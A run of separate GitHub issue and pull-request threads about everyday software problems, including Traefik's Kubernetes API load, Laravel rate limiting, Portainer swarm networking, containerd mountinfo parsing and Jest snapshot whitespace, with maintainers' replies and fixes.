So its probably reasonable to just drop aarch64 support if upstream doesn't support it.

Thanks @timokau for digging up this information. I didn't realize that I will break aarch64 support. I personally do not need it and agree that we do not need to support it if upstream does not. So do I need to change the platforms attribute to reflect that?

Thanks, updated platforms and fixed indentation.

@GrahamcOfBorg build hmmer

Success on x86_64-linux (full log)
Attempted: hmmer
Partial log (click to expand)
/nix/store/905s0kwnpprhyjcc5jd09dqxjcmblpmp-hmmer-3.2.1

No attempt on aarch64-linux (full log)
The following builds were skipped because they don't evaluate on aarch64-linux: hmmer
Partial log (click to expand)

a) For `nixos-rebuild` you can set
  { nixpkgs.config.allowUnsupportedSystem = true; }
in configuration.nix to override this.

b) For `nix-env`, `nix-build`, `nix-shell` or any other Nix command you can add
  { allowUnsupportedSystem = true; }
to ~/.config/nixpkgs/config.nix.

No attempt on x86_64-darwin (full log)
The following builds were skipped because they don't evaluate on x86_64-darwin: hmmer
Partial log (click to expand)

a) For `nixos-rebuild` you can set
  { nixpkgs.config.allowUnsupportedSystem = true; }
in configuration.nix to override this.

b) For `nix-env`, `nix-build`, `nix-shell` or any other Nix command you can add
  { allowUnsupportedSystem = true; }
to ~/.config/nixpkgs/config.nix.

Thanks :)


Excessive Requests to Kubernetes API Server

What version of Traefik are you using (traefik version)?
1.1.2
What is your environment & configuration (arguments, toml...)?
Kubernetes on AWS,  20 worker nodes, 3 masters,  7 traefik instances.
Started with args :
- args:
- --web
- --kubernetes
- --logLevel=ERROR
- --graceTimeOut=5
What did you do?
Ran a kubernetes cluster successfully in production with Traefik
What did you expect to see?
Everything except the 200% (out of an available 2 CPUs) usage on kubernetes api-servers.
What did you see instead?
200% (out of an available 2 CPUs) usage on kubernetes api-servers.
Looking at iftop,  on every machine that runs Traefik  I see this :
+----------------------------------------+-----------------------------------------+----------------------------------------+-----------------------------------------+-----------------------------------------
ip-172-100-80-155.ec2.internal:10255                                                       => ip-172-100-157-125.ec2.internal:37120                                                      95.0Kb  19.0Kb  4.75Kb
                                                                                <=                                                                                5.95Kb  1.19Kb   305b
<IP_ADDRESS>:37414                                                                         => <IP_ADDRESS>:afs3-fileserver                                                                 7.70Kb  4.16Kb  11.4Kb
                                                                                <=                                                                                18.5Kb  7.22Kb  21.6Kb
<IP_ADDRESS>:http                                                                          => ip-172-100-163-137.ec2.internal:24276                                                      23.9Kb  9.81Kb  8.12Kb
                                                                                <=                                                                                416b   2.69Kb  2.45Kb
ip-172-100-80-155.ec2.internal:59446                                                       => ip-172-100-188-241.ec2.internal:https                                                      7.22Kb  1.44Kb   370b
                                                                                <=                                                                                15.4Kb  3.08Kb   788b
ip-172-100-80-155.ec2.internal:59434                                                       => ip-172-100-188-241.ec2.internal:https                                                      7.22Kb  1.44Kb   370b
                                                                                <=                                                                                15.2Kb  3.04Kb   778b
ip-172-100-80-155.ec2.internal:59442                                                       => ip-172-100-188-241.ec2.internal:https                                                      7.22Kb  1.44Kb   370b
                                                                                <=                                                                                15.2Kb  3.04Kb   778b
ip-172-100-80-155.ec2.internal:59438                                                       => ip-172-100-188-241.ec2.internal:https                                                      7.22Kb  1.44Kb   370b
                                                                                <=                                                                                15.0Kb  3.00Kb   768b
ip-172-100-80-155.ec2.internal:59494                                                       => ip-172-100-188-241.ec2.internal:https                                                      7.24Kb  1.45Kb   371b
                                                                                <=                                                                                14.7Kb  2.94Kb   753b
ip-172-100-80-155.ec2.internal:59458                                                       => ip-172-100-188-241.ec2.internal:https                                                      7.23Kb  1.45Kb   370b
                                                                                <=                                                                                14.6Kb  2.93Kb   750b
ip-172-100-80-155.ec2.internal:59502                                                       => ip-172-100-188-241.ec2.internal:https                                                      7.24Kb  1.45Kb   371b
                                                                                <=                                                                                14.5Kb  2.90Kb   743b
ip-172-100-80-155.ec2.internal:59506                                                       => ip-172-100-188-241.ec2.internal:https                                                      7.24Kb  1.45Kb   371b
                                                                                <=                                                                                14.5Kb  2.90Kb   743b
ip-172-100-80-155.ec2.internal:59462                                                       => ip-172-100-188-241.ec2.internal:https                                                      7.23Kb  1.45Kb   370b
                                                                                <=                                                                                14.4Kb  2.89Kb   740b
ip-172-100-80-155.ec2.internal:59490                                                       => ip-172-100-188-241.ec2.internal:https                                                      7.24Kb  1.45Kb   371b
                                                                                <=                                                                                14.3Kb  2.86Kb   733b
ip-172-100-80-155.ec2.internal:59498                                                       => ip-172-100-188-241.ec2.internal:https                                                      7.24Kb  1.45Kb   371b
                                                                                <=                                                                                14.3Kb  2.86Kb   733b
ip-172-100-80-155.ec2.internal:59656                                                       => ip-172-100-188-241.ec2.internal:https                                                      7.20Kb  1.44Kb   369b
                                                                                <=                                                                                14.1Kb  2.82Kb   722b
ip-172-100-80-155.ec2.internal:59660                                                       => ip-172-100-188-241.ec2.internal:https                                                      7.20Kb  1.44Kb   369b
                                                                                <=                                                                                13.9Kb  2.78Kb   712b
ip-172-100-80-155.ec2.internal:59666                                                       => ip-172-100-188-241.ec2.internal:https                                                      7.20Kb  1.44Kb   369b
                                                                                <=                                                                                13.9Kb  2.78Kb   712b
ip-172-100-80-155.ec2.internal:59670                                                       => ip-172-100-188-241.ec2.internal:https                                                      7.20Kb  1.44Kb   369b
                                                                                <=                                                                                13.9Kb  2.78Kb   712b
ip-172-100-80-155.ec2.internal:59550                                                       => ip-172-100-188-241.ec2.internal:https                                                      7.31Kb  1.46Kb   374b
                                                                                <=                                                                                13.4Kb  2.67Kb   684b
ip-172-100-80-155.ec2.internal:59542                                                       => ip-172-100-188-241.ec2.internal:https                                                      7.31Kb  1.46Kb   374b
                                                                                <=                                                                                13.4Kb  2.67Kb   684b
ip-172-100-80-155.ec2.internal:59554                                                       => ip-172-100-188-241.ec2.internal:https                                                      7.31Kb  1.46Kb   374b
                                                                                <=                                                                                13.1Kb  2.63Kb   673b
ip-172-100-80-155.ec2.internal:59540                                                       => ip-172-100-188-241.ec2.internal:https                                                      7.30Kb  1.46Kb   374b
                                                                                <=                                                                                13.0Kb  2.60Kb   667b
ip-172-100-80-155.ec2.internal:59544                                                       => ip-172-100-188-241.ec2.internal:https                                                      7.30Kb  1.46Kb   374b
                                                                                <=                                                                                13.0Kb  2.60Kb   667b
ip-172-100-80-155.ec2.internal:59546                                                       => ip-172-100-188-241.ec2.internal:https                                                      7.31Kb  1.46Kb   374b
                                                                                <=                                                                                12.9Kb  2.59Kb   663b
<IP_ADDRESS>:http                                                                          => <IP_ADDRESS>:43948                                                                         15.2Kb  13.7Kb  6.93Kb
                                                                                <=                                                                                4.98Kb  5.70Kb  3.04Kb
ip-172-100-80-155.ec2.internal:59552                                                       => ip-172-100-188-241.ec2.internal:https                                                      7.30Kb  1.46Kb   374b
                                                                                <=                                                                                12.8Kb  2.56Kb   656b
ip-172-100-80-155.ec2.internal:59548                                                       => ip-172-100-188-241.ec2.internal:https                                                      7.30Kb  1.46Kb   374b
                                                                                <=                                                                                12.8Kb  2.56Kb   656b

That is sorted by max rx/tx over 20 seconds.
Every one of those connections outbound to ip-172-100-188-241.ec2.internal:https  belongs to traefik.
I reported this previously in #922  and the change in #836  did definitely help.  But since I've scaled out the number of traefik instances from 5 to 7, I am now pegging my API servers at maximum CPU.
Is there a way to just turn down how frequently it makes requests to the api-server?   I'm assuming that it is subscribed to events on the API server and for a number of events, it then responds with requests for additional information.  However,  I don't think these requests need to be sent multiple times per second.  Maybe we could debounce them to once every 2 seconds or something.
btw these are the only errors in the log :
time="2017-03-07T12:24:23Z" level=error msg="Kubernetes connection error failed to decode watch event: GET \"https://<IP_ADDRESS>:443/apis/extensions/v1beta1/ingresses\" : EOF, retrying in 716.480667ms"
time="2017-03-07T13:05:49Z" level=error msg="Kubernetes connection error failed to decode watch event: GET \"https://<IP_ADDRESS>:443/apis/extensions/v1beta1/ingresses\" : EOF, retrying in 517.956975ms"
time="2017-03-07T13:52:54Z" level=error msg="Kubernetes connection error failed to decode watch event: GET \"https://<IP_ADDRESS>:443/apis/extensions/v1beta1/ingresses\" : EOF, retrying in 669.759413ms"
time="2017-03-07T14:44:15Z" level=error msg="Kubernetes connection error failed to decode watch event: GET \"https://<IP_ADDRESS>:443/apis/extensions/v1beta1/ingresses\" : EOF, retrying in 591.287328ms"
time="2017-03-07T15:24:11Z" level=error msg="Kubernetes connection error failed to decode watch event: GET \"https://<IP_ADDRESS>:443/api/v1/services\" : EOF, retrying in 406.400344ms"

So every once in a while a get fails.. but in general there doesn't seem to be anything wrong

Hello @rrichardson, We replaced the kubernetes client in 1.2 to a much newer client.
Can you test with traefik:v1.2.0-rc2 and see if this resolves your issue? We have seen a dramatic drop in CPU usage with the new client.

I'll give it a try.   on my dev cluster the problem is not as pronounced,  and I'm not sure if I want to roll out traefik on my prod cluster just yet.  But I'll see if it helps reduce the load.

OK.. After deploying on dev the results are very encouraging.  The load on the API servers as well as traefik itself has dropped dramatically.

👍  Keep us posted.

I'll close this one as it seems resolved.
@rrichardson please reopen if it turns out that 1.2.0 does not solve your issue.


[Bug] When inputting Chinese, The live view will be crashed

https://github.com/mugiwara85/CodeblockCustomizer/assets/19152476/6a8c7c75-53a5-41dc-b3a3-2d36eefa6b30
just like the video,
when i use Shuangpin or "微信输入法" to input language like "java" after “```”
if i use caplocks to change from "Chinese Input Source" to "ABC", the issue will appear.

Someone already had a similar problem with chineese input method. I still think that this is somehow related to the input method, not the plugin, since the plugin simply takes the text. The input method probably inserts some special character. This problem is on my list, but it takes some time to fix this (as this problem does not originate from the plugin).

but i use mac's default chinese input method, this issue still repete

but i use mac's default chinese input method, this issue still repete

Yeah, but I don't speak chinese. You have to tell me exactly how you are doing what you are doing. Which siftware are you using so I can reproduce it. I will definitely look at it. It is on my list. I haven't forgotten it.

Someone already had a similar problem with chineese input method. I still think that this is somehow related to the input method, not the plugin, since the plugin simply takes the text. The input method probably inserts some special character. This problem is on my list, but it takes some time to fix this (as this problem does not originate from the plugin).

That person is me. I used to use the rime input method on Windows systems, but now I no longer use this input method and have switched to Sogou input method
@3dot141  You can try this input method, please test it again in the sandbox library

I am closing this, since there was no activity, and hopefully, the other recommended input method solved the problem.


Rate Limiter cache not clearing with php artisan cache:clear

hi guys,
i made an api and set rate limiting for a link groups
RateLimiter::for('register', function (Request $request) {
  return Limit::perMinute(40)->perHour(1000)->by($request->ip());
});

after 40 requests i'm getting 429 too many request exception so it is all ok but exception continues even though i clear it with php artisan cache:clear  ...
i do clear it in redis by flushall but when i call any register api link i'm getting 429 exception again and again and again  ...
where is the problem ?
i'm using laravel 8.0 with sail ... ( win10 - ubuntu 20.04 )
Why does it come back after i delete it? I'm about to go crazy

what do you have set as limiter ?
https://laravel.com/docs/8.x/rate-limiting#cache-configuration

i found my fault ...
i added an if else so if my app running on test configureRateLimiting methods run empty so it caused set maxAttemps to 0 and it means every request max attempts not increment. i change the if else like below
RateLimiter::for('api', function (Request $request) {
  return $this->appIsTest() ? Limit::none() : Limit::perMinute(40)->by($request->ip());
});

than it is done ...
it means if you want use the ratelimiter as unlimited don't call it emtpy, call Limit::none() , right ?


[PT Run] Bad looking right click menu

ℹ Computer information

PowerToys version: 0.31.2
PowerToy Utility: PT Run
Running PowerToys as Admin: Yes
Windows build number: 20H2

📝 Provide detailed reproduction steps (if any)

Open PT Run
Mouse right click in search box

✔ Expected result
Readable context menu displayed.
❌ Actual result
Bad looking context menu with unreadable text is displayed.
📷 Screenshots

Might be a faulty style. I can look into this.

Great news!  This was resolved in the newly released 0.33 version of PowerToys!  Head to https://aka.ms/installpowertoys to grab latest.


Unit Test snapshots differ on OSX and Unix

Version
3.1.1
Reproduction link
https://codesandbox.io/s/o77krz5n96
Repo: Repo for reproduction: https://github.com/FlorianWerndl/vue-snapshot
Node and OS info
Node 10.3.0 / Yarn 1.12.3 / MacOS 10.14.1 / Ubuntu 16.04.5
Steps to reproduce

Use Jest as test framework
Create component with subcomponent vue-multiselect https://vue-multiselect.js.org/ like example: https://codesandbox.io/s/o77krz5n96
Run yarn test:unit locally to create snapshot
Run yarn test:unit via Gitlab Pipeline on Ubuntu.

What is expected?
Created snapshots should be matching.
What is actually happening?
Create snapshots differ with whitespace.

Reproduction link is only to show setup because I can't create snapshots within codesandbox.
I am using the component vue-multiselect multiple times within my application, only on time the snapshot differs.
There is a space after function on the server snapshot: limittext="function (t) while locally there is no space limittext="function(t)
FAIL src/components/CiLanguageChooser/__tests__/CiLanguageChooser.test.js
  ● Unit | Component | CiLanguageChooser.vue › should match the snapshot

    expect(value).toMatchSnapshot()

    Received value does not match stored snapshot "Unit | Component | CiLanguageChooser.vue should match the snapshot 1".

    - Snapshot
      Received

    @@ -11,11  11,11 @@

                  <citooltip-stub infoiconcolor="black" direction="down" class="tooltip"></citooltip-stub>

                <multiselect-stub name="" selectlabel="Press enter to select" selectgrouplabel="Press enter to select group" selectedlabel="Selected" deselectlabel="Press enter to remove" deselectgrouplabel="Press enter to deselect group" limit="99999" maxheight="300"
    -             limittext="function(t){return"and ".concat(t," more")}" opendirection="" shownooptions="true" shownoresults="true" tabindex="0" value="[object Object]" options="[object Object]" close-on-select="true" hideselected="true"
                  limittext="function (t){return"and ".concat(t," more")}" opendirection="" shownooptions="true" shownoresults="true" tabindex="0" value="[object Object]" options="[object Object]" close-on-select="true" hideselected="true"
                  track-by="code" label="code"></multiselect-stub>

      44 |       },
      45 |     })
    > 46 |     expect(wrapper).toMatchSnapshot()
         |                     ^
      47 |   })

Repo for reproduction: https://github.com/FlorianWerndl/vue-snapshot

@scottadamsmith the whitespace is within a stub, so the actual code looks different. I guess a beautifier could not address this issue.


save dependencies

It's often better to save dependencies in package.json

The -S (and --save) flags were removed in npm@5, they save to package.json by default: https://docs.npmjs.com/cli/install.
This flag does not longer work, and latest npm is 6.4.1.

I see


Open External Links in a New Tab

Feature
Why is this feature being added?
There are many links on the site that lead to other URL's besides OperationCode.org, so I decided to make them open in a new tab.
What should your feature do?
Open external links in a new tab.

Instead of searching for all the anchor tags and fixing them to include target="_blank" etc., maybe we should make an ExternalLink component?!

We definitely should for the buttons and code schools page cards, but it's already done. fixing up my branch now for PR.

If the implementation strategy is going to be to create an external link component, be sure to include the rel="noopener" attribute, as target="_blank" alone can affect the performance of your site. This is a Lighthouse recommended best practice.
Alternatively you can just add an external attribute to your existing link component, to conditionally add these two attributes to your rendered  tag. No sense in repeating components.
More documentation here:
https://developers.google.com/web/tools/lighthouse/audits/noopener

Yeah I'm doing this for external links:
Slack

I'm also working on some of our reusable components to pass a non-required PropType for target and rel, and of course link.


groups r.meta is undefined error message when opening groups

This happened right after leaving a group and hold on for a couple of minutes. After a short time, every thing continued to work as expected.
Cl@https://myship.com/apps/groups/assets/index.b18819a0.js:48:175993
Kl@https://myship.com/apps/groups/assets/react-beautiful-dnd.fde4d763.js:19:52884
Ka@https://myship.com/apps/groups/assets/react-beautiful-dnd.fde4d763.js:19:62361
mf@https://myship.com/apps/groups/assets/react-beautiful-dnd.fde4d763.js:23:9604
pf@https://myship.com/apps/groups/assets/react-beautiful-dnd.fde4d763.js:23:949
yg@https://myship.com/apps/groups/assets/react-beautiful-dnd.fde4d763.js:23:877
rn@https://myship.com/apps/groups/assets/react-beautiful-dnd.fde4d763.js:23:730
sl@https://myship.com/apps/groups/assets/react-beautiful-dnd.fde4d763.js:21:10884
Ud/<@https://myship.com/apps/groups/assets/react-beautiful-dnd.fde4d763.js:19:38716
e.unstable_runWithPriority@https://myship.com/apps/groups/assets/react-beautiful-dnd.fde4d763.js:8:3811
_r@https://myship.com/apps/groups/assets/react-beautiful-dnd.fde4d763.js:19:38494
Ud@https://myship.com/apps/groups/assets/react-beautiful-dnd.fde4d763.js:19:38664
ir@https://myship.com/apps/groups/assets/react-beautiful-dnd.fde4d763.js:19:38597
br@https://myship.com/apps/groups/assets/react-beautiful-dnd.fde4d763.js:21:8455
Zl@https://myship.com/apps/groups/assets/react-beautiful-dnd.fde4d763.js:19:58182
hN/</<@https://myship.com/apps/groups/assets/index.b18819a0.js:48:318484

Fixed by #2635

Tracking internally as LAND-587


Upgrade to SDK v0.47

Epic to collect and discuss work

I can set a rc0 tag for early testing later this week when https://github.com/CosmWasm/wasmd/issues/1246 lands in main. Please note that v0.32 is the next regular release (still on sdk 45)

That would be great!


Conflict between IDEA packages

IDEA packages (pycharm, idea-ultimate, idea-community, etc) have a conflict on fsnotifier/fsnotifier64.
idea-community and idea-ultimate also conflict because both create "idea" wrapper.
pycharm-professional and pycharm-community have the same conflict.

Fixed via 17e6dd2da347f3b8ef44e9693068c5f8c3788579


update dockerfile  with non root user

For a better security, a non root user is created once the project is generated under which the application will run in container.

Fixed #19

Fixed #19


ENH: Add temperature and galvanic

Closes #11055
Draft until https://github.com/mne-tools/fiff-constants/pull/41 merges

@hoechenberger feel free to review/merge if you're happy!


Closes: #1

Updated validations.py python script.
Fixed the behavior of validate_user function in validations.py.
Fixes #<issue_number_goes_here>

It's a good idea to open an issue first for discussion.

[ ] Tests pass
[ ] Appropriate changes to README are included in PR

Updated validations.py python script.
Fixed the behavior of validate_user function in validations.py.
Fixes #10204
It's a good idea to open an issue first for discussion.

Tests pass
Appropriate changes to README are included in PR


Update reactivemongo

[x] implement create

[x] outcomment non working code

[x] wire service into controller

[x] rewrite create taskset function

[x] rewrite list tasksets function

[x] rewrite getbyid

[x] write batch insert


setCurrentRateStatus is private function

Can't set rate status programmatically.

Thanks for pointing it out.
Fixed in version 1.0.4
emojiRatingBar.setCurrentRateStatus(RateStatus.GOOD)


Issue: Targeted files skip tsconfig

Description
When using lint-staged like this:
{
  "*.{js,jsx,ts,tsx}": ["eslint --fix", "eslint"],
  "**/*.ts?(x)": "pnpm run types",
  "*.json": ["prettier --write"]
}

Being the pnpm run types just tsc --noEmit command that works if invoked manually as it targets the folder and not individual files.
On the other hand, when invoked by lint-staged It tends to throw errors as it does ignore the tsconfig.ts. This is not a lint-staged bug but a limitation in tsc, as it is apparently not possible to target a file and config a project.
Steps to reproduce
in my case is a monorepo with nextjs but should happen in other scenarios where --skipLibCheck and --esModuleInterop are necessary
Environment
WSL windows and windows
node 18l
int staged version: 15.2.5

Not sure I get what you mean, but if use the JS config format you can configure like this to avoid filenames:
export default {
  "*.{js,jsx,ts,tsx}": ["eslint --fix", "eslint"],
  "**/*.ts?(x)": (filenames) => "pnpm run types", // do not pass filenames
  "*.json": ["prettier --write"]
}


NFC: Move patches to a separate file

Just to keep things tidy.

Ah the typing was failing you'll need to fix that 😢


[release/1.2 backport] Fix parseInfoFile does not handle spaces in filenames

backport of https://github.com/containerd/containerd/pull/3159 for the 1.2 branch
equivalent to https://github.com/moby/moby/pull/38977, for containerd
relates to https://github.com/moby/moby/issues/38458
relates to https://github.com/kubernetes/kubernetes/issues/35062
/proc/self/mountinfo uses \040 for spaces, however, parseInfoFile()
did not decode those spaces in paths, therefore attempting to use \040
as a literal part of the path.
This patch un-quotes the root and mount point fields to fix
situations where paths contain spaces.
Note that the mount source field is not modified, given that
this field is documented (man PROC(5)) as:
filesystem-specific information or "none"

Which I interpreted as "the format in this field is undefined".
Thanks to @remexre for reporting, and @itizir, @sergei-utinski for suggesting the patch.

didn't backport this (yet) to the 1.1 branch, as it depends on (among others) https://github.com/containerd/containerd/pull/2324. Wasn't sure how badly we want this for 1.1, with 1.3 already being worked on

Codecov Report

Merging #3161 into release/1.2 will decrease coverage by 0.01%.
The diff coverage is 25%.

@@               Coverage Diff               @@
##           release/1.2    #3161      +/-   ##
===============================================
- Coverage        43.76%   43.74%   -0.02%
===============================================
  Files              101      101
  Lines            10738    10743       +5
===============================================
+ Hits              4699     4700       +1
- Misses            5309     5311       +2
- Partials           730      732       +2

Flag
Coverage Δ

#linux
47.38% <25%> (-0.02%)
:arrow_down:

#windows
40.85% <ø> (ø)
:arrow_up:

Impacted Files
Coverage Δ

mount/mountinfo_linux.go
57.4% <25%> (-3.82%)
:arrow_down:

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update 0d58ce1...f8d644d. Read the comment docs.

Codecov Report

Merging #3161 into release/1.2 will decrease coverage by 0.01%.
The diff coverage is 25%.

@@               Coverage Diff               @@
##           release/1.2    #3161      +/-   ##
===============================================
- Coverage        43.76%   43.74%   -0.02%
===============================================
  Files              101      101
  Lines            10738    10743       +5
===============================================
+ Hits              4699     4700       +1
- Misses            5309     5311       +2
- Partials           730      732       +2

Flag
Coverage Δ

#linux
47.38% <25%> (-0.02%)
:arrow_down:

#windows
40.85% <ø> (ø)
:arrow_up:

Impacted Files
Coverage Δ

mount/mountinfo_linux.go
57.4% <25%> (-3.82%)
:arrow_down:

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update 0d58ce1...f8d644d. Read the comment docs.

LGTM


Value Multiplicity needs to be handled

Parsing of data elements needs to be changed to allow for proper handling of those with multiplicity.
This will likely involve:

Modifying data dictionary generation script to parse VMs from raw NEMA source.
Modifying data element "value" parsing to understand that those elements with possibility of VM should be differently handled.

I think this isn't strictly a bug since the current functionality does allow for parsing of VM, but in a format that does not provide easy iteration to consumers of the parser.

This is done. Type assertion will be necessary.


refactor: refactor sentiment analyzer by removing dead and slow perfomance code

The pull request refactors the sentiment analyser class by generally doing the following points:

Removing dead code like sentiment value in for loop(which made my curious why it is defined in all_words while not used)
Replace '==' in checking boolean values with the variable value. For example refactor if value == False with if not value: (performance reasons)

A single if statement or even dozens won not be that bad, but hundred of if's statement, this may cause some minor performance issues. The below numbers illustrates better.
python -m timeit -s "variable=False" "if variable == True: pass"
output:

10000000 loops, best of 5: 28.7 nsec per loop

python -m timeit -s "variable=True" "if variable is True: pass"

10000000 loops, best of 5: 21 nsec per loop

python -m timeit -s "variable=True" "if variable: pass"

20000000 loops, best of 5: 13.6 nsec per loop

I believe this may affect the performance of the sentiment analyser in a minor way.

I suppose that is is indeed slightly faster than ==. For those unaware:

== is for value equality. For when we want to ensure that two objects have the same value.
is is for reference equality. For when we want to ensure that two references refer to the same object.

See this SO for more information.
With is, only the pointers need to be compared, while == has the additional step of traversing to the pointer's location and reading the value. I can see how this is (insignificantly) faster.
Generally, the use of is is not recommended (with the exception of singletons like None), as
>>> a = 2000
>>> b = 2000
>>> a == b
True
>>> a is b
False

It can also cause some really confusing bugs:
>>> a = 2000
>>> b = 2000
>>> a is b
False
>>> c = 200
>>> d = 200
>>> c is d
True

(more information on this "bug")
In conclusion:
Yes:   if greeting:
No:    if greeting == True:
Worse: if greeting is True:

(source)
So, in short, I'm in favor of this PR, with the exception of the following:

I like this, using if foo: is more pythonic than doing if foo == True: or if foo is True: :+1:

I did add the suggested changes.

@12mohaned Thank you for your changes! I can always respect a code quality PR.
@purificant Thank you for the reviews. 👍


network_mode: host option ignored (Portainer 2.19.1 - Docker swarm)

Before you start please confirm the following.

[X] Yes, I've searched similar issues on GitHub.
[X] Yes, I've checked whether this issue is covered in the Portainer documentation or knowledge base.

Problem Description
I am trying to setup the telegraf docker container (https://hub.docker.com/_/telegraf) w/ network_mode: host such that the net plugin can monitor the host network:
telegraf:
    image: telegraf:1.24.2
    depends_on:
      - toke-mosquitto-docker
    network_mode: host
    environment:
      ENGINE_HOST: "atlasitk-db-pc"
      INFLUX_PASSWORD: "dummy"
      MQTT_CONSUMER_PASSWORD: "dummy"
      UPS_PASSWORD: "dummy"
      HOST_ETC: "/hostfs/etc"
      HOST_PROC: "/hostfs/proc"
      HOST_SYS: "/hostfs/sys"
      HOST_VAR: "/hostfs/var"
      HOST_RUN: "/hostfs/run"
    volumes:
      - /:/hostfs:ro
      - /data/telegraf:/inputs/logs
      - /data/telegraf:/var/log/telegraf
    configs:
      - source: telegraf-conf
        target: /etc/telegraf/telegraf.conf

however when checking the NetworkMode from the docker engine directly it seems the option is ignored:
[atlasitk@atlasitk-db-pc stacks]$ sudo docker inspect atlasitk_grafana-influxdb_telegraf.1.opkpocp1nm0ucrkt7zoz81tps | grep NetworkMode
            "NetworkMode": "default",

I was wondering if this was a known issue? I looked a bit on the web and it seems Portainer is supporting that option.
I see the host network is defined:

I must be missing something ... any idea?
Thank you very much for your help
Expected Behavior
get the service configured in 'host' mode
Actual Behavior
default network seems to be used
Steps to Reproduce
Portainer 2.19.1 - Docker swarm
deploy the following stack w/ default telegraf config.
version: '3.8'

services:
  telegraf:
      image: telegraf:1.24.2
      network_mode: host
      environment:
        HOST_ETC: "/hostfs/etc"
        HOST_PROC: "/hostfs/proc"
        HOST_SYS: "/hostfs/sys"
        HOST_VAR: "/hostfs/var"
        HOST_RUN: "/hostfs/run"
      volumes:
        - /:/hostfs:ro
        - /data/telegraf:/inputs/logs
        - /data/telegraf:/var/log/telegraf
      configs:
        - source: telegraf-conf
          target: /etc/telegraf/telegraf.conf

configs:
  telegraf-conf:
    external: true

Portainer logs or screenshots
none
Portainer version
2.19.1
Portainer Edition
Community Edition (CE)
Platform and Version
Docker Swarm 20.10.6
OS and Architecture
CentOS7
Browser
Firefox 102.15.1esr
What command did you use to deploy Portainer?
version: '3.2'

services:
  agent:
    image: portainer/agent:2.16.2
    volumes:
      - /var/run/docker.sock:/var/run/docker.sock
      - /data/docker/volumes:/var/lib/docker/volumes
    networks:
      - agent_network
    deploy:
      mode: global
      placement:
        constraints: [node.platform.os == linux]

  portainer:
    image: portainer/portainer-ce:2.16.2
    command: -H tcp://tasks.agent:9001 --tlsskipverify --sslcert /run/secrets/certificate.pem --sslkey /run/secrets/private_keys.pem
    ports:
      - "9443:9443"
      - "9000:9000"
      - "8000:8000"
    volumes:
      - portainer_data:/data
    networks:
      - agent_network
    deploy:
      mode: replicated
      replicas: 1
      placement:
        constraints: [node.role == manager]
    secrets:
      - certificate.pem
      - private_keys.pem

networks:
  agent_network:
    driver: overlay
    attachable: true

volumes:
  portainer_data:

secrets:
  certificate.pem:
    external: true
  private_keys.pem:
    external: true

update to 2.19.1 following instructions (https://docs.portainer.io/start/upgrade/swarm)

### Additional Information

none

When deploying a stack on a Swarm environment, Portainer uses docker stack deploy which is different to docker compose. While the syntaxes are very similar, there is some functionality that do not work with docker stack deploy, and network_mode: host is one of those. On Swarm, the only possible network modes are global and replicated.
In these kinds of cases you could look at bypassing the routing mesh in Docker Swarm - in YAML this might look like this for a web server:
ports:
  - target: 80
    published: 80
    protocol: tcp
    mode: host

I'm not sure how useful this would be for telegraf however. Perhaps someone in the telegraf community might have a better idea for you, or instead create it with docker compose at the command line. Bear in mind that any services created from compose stacks will not be Swarm services, and will be single containers on the node you run the docker compose up command on.

Hi @jamescarppe ,
thank you very much for the very clear and prompt reply! I was not aware of these differences between docker stack deploy and docker compose.
telegraf net plugin needs the network_mode: host in order to be able to see the network interfaces of the host instead of the ones of the container if I understand correctly.
Indeed I am not sure the solution you mention is what is needed here, I will open an issue on https://github.com/influxdata/telegraf now.
I guess this can be closed since it is not portainer-related (?)
Best wishes
Matthias

Hello again,
at the end I found a workaround, in case it is useful for someone:
services:
  telegraf:
    image: telegraf:1.24.2
    environment:
      ENGINE_HOST: "localhost"
      HOST_ETC: "/hostfs/etc"
      HOST_PROC: "/hostfs/proc"
      HOST_SYS: "/hostfs/sys"
      HOST_VAR: "/hostfs/var"
      HOST_RUN: "/hostfs/run"
    volumes:
      - /:/hostfs:ro
      - /data/telegraf:/inputs/logs
      - /data/telegraf:/var/log/telegraf
    configs:
      - source: telegraf-conf
        target: /etc/telegraf/telegraf.conf
    networks:
      - host

configs:
  telegraf-conf:
    external: true

networks:
  host:
    external: true
    name: host

closing.


Remove ethers-core dependency

This removes the redundant dependency on ethers-core, as we already have ethers.

@ZePedroResende why so many changes on cargo.lock? sounds like you're including here some updates that may have happened when you pointed ethers to the github revision instead?


Placeholder is not shown after rerendering in the react component

I've found this issue in the project. How can I run again placeholders in the didUpdate method? Has this lib an api?

If you want to run the placeholder polyfill always (no matter if the browser natively supports it or not) the you can simply run: $('input[placeholder], textarea[placeholder]').placeHolder();
If you want to use the native Browser implementation when it's available then do the following:
 $(function(){
    var config = window.placeHolderConfig || {};
    if(('placeholder' in $('<input>')[0] || 'placeHolder' in $('<input>')[0]) && !config.forceApply){
         // don't run the polyfill when the browser has native support
        return;
    }
    $('input[placeholder], textarea[placeholder]').placeHolder();
});

Hope it helps :-)


Add chief alert executor alertmanager webhook receiver

Thanks for sharing. We generally only list one type of integration, and it looks like both https://github.com/imgix/prometheus-am-executor and https://github.com/adnanh/webhook have been around for longer and have established communities so one of those should be listed.

ACK


#543 improve error message when failing to serve variant

This PR improves the detailing of the specific error message when a variant fails to serve with the command agenta variant serve --file_name <app.py>
When merged, this PR closes #543 and should help to resolve #542

Thanks for the PR @devgenix This however only solves the first part of the issue. The second part is in the backend and is the most important part to discover the source of the error:
We need to modify the backend code to provide something more clear about where the problem happened in addition to the error. For instance in #542 it just says "Expecting value.." instead it should say "Failed at backend.scriptname.funcname.step Error ..." or something similar

@mmabrouk
Should this be a solution to implement only here or something to be reused across the sdk and backend?

Thanks for the PR @devgenix This however only solves the first part of the issue. The second part is in the backend and is the most important part to discover the source of the error:
We need to modify the backend code to provide something more clear about where the problem happened in addition to the error. For instance in #542 it just says "Expecting value.." instead it should say "Failed at backend.scriptname.funcname.step Error ..." or something similar

@mmabrouk
Should this be a solution to implement only here or something to be reused across the sdk and backend?

In response to this, I implemented a helper function in agenta-cli/agenta/cli/helper.py that helps to log traceback.
It can be called from anywhere in the cli to output detailed description of where the problem happened in addition to the error.

@mmabrouk

@mmabrouk
I think we may still need detailed error tracing in the CLI, in addition to adding it to the Backend.
In the screenshot I attached above, I mocked an error by deleting the config.toml file and trying to start the variant, hence the error and feedback.
